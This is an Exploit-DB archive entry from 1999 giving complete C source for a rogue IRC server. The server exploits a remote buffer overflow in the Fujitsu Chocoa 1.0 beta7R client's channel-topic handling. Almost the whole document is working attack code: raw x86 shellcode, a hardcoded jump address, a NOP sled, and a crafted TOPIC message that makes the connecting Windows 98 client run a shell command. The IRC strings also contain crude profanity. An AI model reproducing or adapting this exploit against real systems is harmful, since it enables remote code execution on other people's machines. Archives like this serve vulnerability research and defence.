Exploit-DB #19449
Description: Fujitsu Chocoa 1.0 beta7R - 'Topic' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 1999-08-03
Author: UNYUN

Exploit:
// source: https://www.securityfocus.com/bid/573/info

The Chocoa IRC client has an unchecked buffer in the code that processes channel topics. If the server returns a topic that overwrites the client's buffer and contains exploit code arbitrary commands can be run on the client system. 

/*=============================================================================
   IRC Client CHOCOA Version 1.0beta7R Exploit for Windows98
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by
    UNYUN     (shadowpenguin@backsection.net)
    R00t Zer0 (defcon0@ugtop.com)
  =============================================================================
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define     RETADR          610
#define     JMPADR          606
#define     JMPOFS          6
#define     BUFEND          2200
#define     JMP_EBX_ADR     0xbff7a06b
#define     CMDLENP         0x41
#define     PORT            6667
#define     COMMAND         "notepad.exe \\autoexec.bat"
#define     FUNC            "msvcrt.dll.system.exit."

#define     NOP             0x90
#define     JMPS            0xeb

unsigned char exploit_code[200]={
  0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,
  0xF7,0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,
  0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
  0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
  0xF8,0x43,0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,
  0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,0xFF,0x00};

#define OPENING_MSG \
    ":irc.hoge.com 001 FUCKER "\
    ":Welcome to the Internet Relay Network FUCKER!=fuck@127.0.0.1\n"\
    ":End of /MOTD command.\n"

#define JOIN1 \
    ":fucker!=fuck@127.0.0.1 JOIN "\
    ":#fuck\n"\
    ":irc.hoge.com 353 fucker @ #fuck "\
    ":fucker uzee"

#define JOIN2 \
    ":irc.hoge.com 366 fucker #fuck "\
    ":End of /NAMES list.\n"

void handleSIGCHLD(int i)
{
    int status;

    wait(&status);
    signal(SIGCHLD, handleSIGCHLD);
}

int main(int argc, char *argv[])
{
    int     serv_sock,cli_sock;
    int     pid,clilen,p,ip;
    char    buff[30000],jank[10000];
    struct  sockaddr_in serv_addr;
    struct  sockaddr_in cli_addr;
    
    signal( SIGCHLD, handleSIGCHLD );

    memset(jank,NOP,BUFEND);
    strcat(exploit_code,FUNC);
    strcat(exploit_code,COMMAND);
    exploit_code[CMDLENP]=strlen(COMMAND);
    strncpy(jank+RETADR+4,exploit_code,strlen(exploit_code));

    ip=JMP_EBX_ADR;
    jank[JMPADR]  =JMPS;
    jank[JMPADR+1]=JMPOFS;
    jank[RETADR+3]=0xff&(ip>>24);
    jank[RETADR+2]=0xff&(ip>>16);
    jank[RETADR+1]=0xff&(ip>>8);
    jank[RETADR]  =ip&0xff;
    jank[BUFEND]  =0;

    if((serv_sock=socket(PF_INET,SOCK_STREAM,0))<0){
        perror("socket");
        exit(1);
    }
    bzero(( char *)&serv_addr, sizeof(serv_addr));
    serv_addr.sin_family        = PF_INET;
    serv_addr.sin_addr.s_addr   = htonl(INADDR_ANY);
    serv_addr.sin_port          = htons(PORT);
    if(bind(serv_sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))<0){
        perror("bind");
        exit(1);
    }
    listen(serv_sock,5 );
    
    while(1){
        clilen   = sizeof(cli_addr);
        cli_sock = accept(serv_sock,(struct sockaddr *)&cli_addr,&clilen);
        if( cli_sock<0){
            if(errno==EINTR) continue;
            perror("accept" );
            exit(1);
        }
        if((pid=fork())<0){
            perror( "fork" );
            exit(1);
        }
        if(pid==0){
            close(serv_sock);
            send(cli_sock, OPENING_MSG, strlen(OPENING_MSG),0);
            send(cli_sock, JOIN1, strlen(JOIN1),0);
            send(cli_sock, "\n",1,0 );
            send(cli_sock, JOIN2, strlen(buff),0);
            sprintf( buff, ":fucker!~fuck@127.0.0.1 TOPIC #fuck :%s\n", jank );
            send(cli_sock, buff, strlen(buff),0);
            sleep(1800);
            exit(0);
        }else
            close(cli_sock);
    }
}